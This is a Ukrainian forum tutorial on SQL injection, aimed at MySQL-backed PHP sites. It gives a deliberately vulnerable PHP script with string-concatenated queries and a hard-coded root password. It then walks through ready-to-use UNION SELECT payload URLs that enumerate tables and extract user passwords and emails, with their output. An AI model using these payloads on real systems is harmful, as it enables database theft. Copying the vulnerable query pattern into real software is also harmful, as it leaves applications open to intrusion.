SQL ін'єкція

Способи виявлення та експлуатації, вразливі додатки.
Аватар користувача
technate
Site Admin
Повідомлень: 61
З нами з: Нед лютого 07, 2016 17:38
Reputation: 4
Спеціалізація: Розробник програмного забезпечення

SQL ін'єкція

Повідомлення technate » Чет лютого 11, 2016 13:08

SQL ін'єкція - вживлення в запит довільного SQL коду, шляхом приєднання його до параметрів запиту, що проходять недостатню фільтрацію перед підстановкою. Зазвичай SQL запит складається із статичної, незмінної частини, та одного чи більше динамічних параметрів. Наприклад:

http://victim.com/sqlinjection.php?user_id=1
$sql = “SELECT name FROM user WHERE id = “ . $_GET[‘user_id’];

Динамічним параметром тут є $_GET[‘user_id’], який не проходить перевірку на те, яке значення він має. Тобто, передавши у цьому параметрі SQL код - його буде приєднано в кінець запиту.

Виявлення
Найпростіший спосіб для виявлення SQL ін’єкції, це підстановка різних символів в параметрах URL. Якщо сторінка повертається із некоректними результатами, або на сторінці є повідомлення про помилку, то скоріше за все ви модифікували запит що свідчить про наявність ін’єкції. Зазвичай для підстановки обирають символ одинарних лапок “‘“, тому що він при потраплянні в строковий параметр (який зазвичай взятий в одинарні лапки), порушує синтаксис і призводить до помилки.

http://victim.com/sqlinjection.php?name=admin’
... WHERE name = ‘admin’’

Якщо ж параметр в запиті числовий і не взятий в одинарні лапки - все одно виникає синтаксична помилка, тому що число набуває неправильного формату.

http://victim.com/sqlinjection.php?user_id=1’
... WHERE id = 1’

Приклад помилки що виводиться при потраплянні символу лапок в параметр:

Error in query (1064): Syntax error near ''admin''' at line …

mysql_query(): You have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the right syntax to use near '1''

Окрім лапок, можна використовувати різні логічні вирази, що можуть вказати на наявність ін’єкції. Наприклад:

http://victim.com/sqlinjection.php?user_id=1 + 1
... WHERE id = 1 + 1

Якщо ми отримаємо коректний результат для користувача з id рівним 2 - значить параметр user_id не проходить фільтрацію на допустимі значення і може бути використаний для модифікації запиту. У попередньому прикладі вираз 1 + 1 без змін був підставлений у запит.

Часто вразливий параметр знаходиться не в кінці запиту, а десь в середині, в цьому випадку можна скористатися оператором коментарів. Використання оператора коментарів дасть змогу відсікти решту оригінального запиту і дописати своє закінчення.

... WHERE login = ‘admin’  AND pass = ‘strongPassword’

Маючи вразливим параметр login і не маючи змоги модифікувати параметр pass, можна скористатися наступним прийомом:

http://victim.com/sqlinjection.php?login=admin’+--
... WHERE login = ‘admin’ --’  AND pass = ‘strongPassword’

В результуючому запиті параметр pass не враховується тому що потрапляє в закоментовану частину.

Часто SQL ін’єкція трапляється в виразі що задає критерій сортування. Зазвичай такі ін’єкції не дають змоги вплинути на значення полів які вибираються і потім виводяться на сторінці. Давайте розглянемо наступний приклад.

http://victim.com/sqlinjection.php?order_by=name
$sql = “SELECT * FROM `plugin` ORDER BY “ . $_GET[‘order_by’];

Запит повертає наступний результат:
+-----------+-----------------+
name | dl
+-----------+-----------------+
archive | ha_archive.so
blackhole | ha_blackhole.so
federated | ha_federated.so
innodb | ha_innodb.so
+-----------+-----------------+

Наступна спроба видає помилку на сторінці що свідчить про відсутність перевірки на те чи існує така колонка в табличці і чи можна її використовувати для сортування.

http://victim.com/sqlinjection.php?order_by=injection
$sql = “SELECT * FROM `plugin` ORDER BY “ . $_GET[‘order_by’];


Error in query (1054): Unknown column 'injection' in 'order clause'

Якщо при спробі знайти ін’єкцію ви отримали відповідь веб-сервера з кодом помилки або просто порожню сторінку - це може бути “сліпою” SQL ін’єкцією. Експлуатація таких ін’єкцій є більш складною і не рідко здійснюється за допомогою автоматизованих програмних рішень.

Експлуатація
Під експлуатацією розуміється отримання певної інформації із бази даних яка не призначена для публічного доступу. Це зазвичай персональні дані людей, паролі, хеші паролів і тому подіне.

Розглянемо наступну ситуацію. Маємо PHP скрипт який виводить інформацію про користувача а також табличку такого виду:
CREATE TABLE `user` (
`user_id` int(11) NOT NULL AUTO_INCREMENT,
`login` varchar(255) NOT NULL,
`password` varchar(255) NOT NULL,
`email` varchar(255) NOT NULL,
PRIMARY KEY (`user_id`)
) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=utf8

INSERT INTO `user` (`user_id`, `login`, `password`, `email`)
VALUES
(1, 'bond', '1234567', 'bond@gmail.com'),
(2, 'lesli', '555666', 'lesli@gmail.com')

Вразливий скрипт має наступний вигляд:

<?php
ini_set('display_errors', 1);
$conn = @mysql_connect('localhost', 'root', '123');
@mysql_select_db('custom_ecommerce');

if ($_GET['user_id']) {
$res = @mysql_query('SELECT * FROM `user` WHERE `user_id` = ' . $_GET['user_id']);
if ($res && $row = mysql_fetch_assoc($res)) {
echo 'Hello ' . $row['login'];
} else {
echo 'Query: SELECT * FROM `user` WHERE `user_id` = ' . $_GET['user_id'] . '<br/>';
echo mysql_error();
}
}


При переході по наступному URL http://victim.com/sqlinjection.php?user_id=1 ми отримуємо наступний вивід на сторінці:

SELECT * FROM `user` WHERE `user_id` = 1

Hello bond

Зверніть увагу що надалі в URL ми будемо частково використовувати закодовані символи, це потрібно для того щоб сформувати потрібний нам SQL запит. Наприклад, якщо ми хочемо підставити в SQL символ “+” - в URL ми будемо підставляти %2B, що після декодування дасть символ “+”. А якщо ми підставимо “+” в URL то після декодування він дасть пробіл. Це нам знадобиться для того щоб зформувати правильний SQL запит.

http://victim.com/sqlinjection.php?user_id=1%2B1

SELECT * FROM `user` WHERE `user_id` = 1+1

Hello lesli

Найпоширенішим способом отримання потрібних даних через SQL ін’єкцію, є використання оператора UNION. UNION дозволяє приєднати до запиту типу SELECT ще один такий запит і вказати нові колонки які потрібно обрати. Єдиною синтаксичною умовою для UNION є така сама кількість колонок після UNION як у першому SELECT. Іншими словами ми не можемо вибрати після UNION більше або менше колонок ніж у першому запиті, лише таку саму кількість.

Тепер спробуємо підібрати кількість колонок в UNION. Почнемо з одної і будемо додавати по одній поки не отримаємо коректне відображення сторінки. Закінчуємо ін’єкцію оператором коментарів, це дозволить відсікти можливий SQL після ін’єкції. Надалі ін’єкція буде виділена червоним кольором.

http://victim.com/sqlinjection.php?user_id=1+UNION+SELECT+1+--

Query:
SELECT * FROM `user` WHERE `user_id` = 1 UNION SELECT 1 --

The used SELECT statements have a different number of columns

Ми бачимо з помилки що кількість колонок неправильна, треба збільшувати.
http://victim.com/sqlinjection.php?user_id=1+UNION+SELECT+1,2+--

Query:
SELECT * FROM `user` WHERE `user_id` = 1 UNION SELECT 1,2 --

The used SELECT statements have a different number of columns

http://victim.com/sqlinjection.php?user_id=1+UNION+SELECT+1,2,3+--

Query:
SELECT * FROM `user` WHERE `user_id` = 1 UNION SELECT 1,2,3 --

The used SELECT statements have a different number of columns

http://victim.com/sqlinjection.php?user_id=1+UNION+SELECT+1,2,3,4+--

Hello bond

Ми виявили що кількість колонок у першому SELECT рівна 4. Якщо виконати наш запит в mysql консолі, отримаємо наступний результат:

mysql> SELECT * FROM `user` WHERE `user_id` = 1 UNION SELECT 1,2,3,4 --;

+---------+-------+----------+----------------+
| user_id | login | password | email |
+---------+-------+----------+----------------+
| 1 | bond | 1234567 | bond@gmail.com |
| 1 | 2 | 3 | 4 |
+---------+-------+----------+----------------+
2 rows in set (0.00 sec)

Ми бачимо що UNION додав ще один рядок в результат і також ми бачимо що в цьому рядку ми отримали числа 1,2,3,4.

Наступний етап експлуатації полягає в знаходженні колонки із першого SELECT яка виводиться на сторінці. Для цього потрібно змінити запит так щоб перший SELECT не повернув нічого, тоді у результаті буде лише рядок що додає UNION. Таким чином на місці колонки що виводилася буде число від 1 до 4.

Для того щоб перший SELECT не повернув нічого, ми замінимо user_id на -1, розраховуючи на те що такого користувача в табличці не існує.

http://victim.com/sqlinjection.php?user_id=-1+UNION+SELECT+1,2,3,4+--

SELECT * FROM `user` WHERE `user_id` = -1 UNION SELECT 1,2,3,4 --

Hello 2
Тепер зрозуміло що логін був другою колонкою в першому SELECT, тепер ми можемо замінити в UNION число 2 на щось що нас цікавить. Спробуємо дізнатся версію MySql сервера.

http://victim.com/sqlinjection.php?user_id=-1+UNION+SELECT+1,version(),3,4+--

SELECT * FROM `user` WHERE `user_id` = -1 UNION SELECT 1,version(),3,4 --

Hello 5.5.41-0ubuntu0.14.04.1-log

На даному етапі можна сказати що ми успішно провели SQL ін’єкцію. Її також можна розвинути спробувавши визначити назви таблиць, назви колонок в таблицях і т.д. Для того щоб взнати назви таблиць, потрібно звернутися до стандартної бази даних що називається information_schema і до таблиці TABLES у цій базі.

http://victim.com/sqlinjection.php?user_id=-1+UNION+SELECT+1,(SELECT+TABLE_NAME+FROM+`information_schema`.`TABLES`+LIMIT+1,1),3,4+--

SELECT * FROM `user` WHERE `user_id` = -1 UNION SELECT 1,
(SELECT TABLE_NAME FROM `information_schema`.`TABLES` LIMIT 1,1),3,4 --

Hello COLLATIONS

http://victim.com/sqlinjection.php?user_id=-1+UNION+SELECT+1,(SELECT+TABLE_NAME+FROM+`information_schema`.`TABLES`+LIMIT+2,1),3,4+--

SELECT * FROM `user` WHERE `user_id` = -1 UNION SELECT 1,
(SELECT TABLE_NAME FROM `information_schema`.`TABLES` LIMIT 2,1),3,4 --

Hello COLLATION_CHARACTER_SET_APPLICABILITY

В базі даних information_schema є інші службові таблиці які містять цікаву інформацію.

Тепер повернемося до нашого прикладу і спробуємо вгадати і вивести інші колонки із таблиці з користувачами. Зазвичай поле з паролем називають pass або password, а поле з емейл адресом відповідно email або email_address. Припустимо що ми вже дізналися назву таблиці і тепер можемо використовувати її в UNION.

http://victim.com/sqlinjection.php?user_id=-1+UNION+SELECT+1,pass,3,4+FROM+user+WHERE+user_id=1--

Query:
SELECT * FROM `user` WHERE `user_id` = -1 UNION SELECT 1,pass,3,4 FROM user WHERE user_id=1--

Unknown column 'pass' in 'field list'


http://victim.com/sqlinjection.php?user_id=-1+UNION+SELECT+1,password,3,4+FROM+user+WHERE+user_id=1--

SELECT * FROM `user` WHERE `user_id` = -1 UNION SELECT 1,password,3,4 FROM user WHERE user_id=1--

Hello 1234567

http://victim.com/sqlinjection.php?user_id=-1+UNION+SELECT+1,email,3,4+FROM+user+WHERE+user_id=1--

SELECT * FROM `user` WHERE `user_id` = -1 UNION SELECT 1,email,3,4 FROM user WHERE user_id=1--

Hello bond@gmail.com

Висновки
Не дивлячись на відомі способи захисту від SQL ін’єкцій, вони залишаються актуальними на сьогоднішній день і займають не останнє місце серед інших типів вразливостей. Основною причиною неефективного захисту є неправильна стратегія обробки вхідних параметрів.

Повернутись до “SQL ін'єкції”

Хто зараз онлайн

Зараз переглядають цей форум: Немає зареєстрованих користувачів і 1 гість